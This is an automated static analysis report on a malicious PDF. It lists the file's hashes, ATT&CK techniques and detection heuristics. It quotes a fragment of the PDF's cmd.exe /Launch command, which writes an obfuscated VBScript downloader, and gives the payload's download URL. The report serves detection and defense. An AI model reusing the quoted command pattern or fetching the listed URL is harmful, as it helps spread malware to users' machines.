Malicious PDF — malware analysis report

Static analysis result for SHA-256 4020c5d65bf970ad…

MALICIOUS

PDF

803 B
MD5: 0aee21847ca691b16822a368a8ffd93b SHA-1: 98b335fc51631d1a3fd0f1af1809629baf68a3b7 SHA-256: 4020c5d65bf970adc068034e63298997f3d5cda899bdafa4932574884641ef93
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command is used to echo a VBScript payload into a file named 'm.vbs'. The VBScript payload is obfuscated but appears to use 'Scripting.FileSystemObject' and 'WScript.Shell' to download and execute further content from the embedded URL http://cleanfile.net/.ph/1/tmp/m.vbs. This indicates a downloader or droppper functionality.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cleanfile.net/.ph/1/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_0000006f.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x6F 63 bytes

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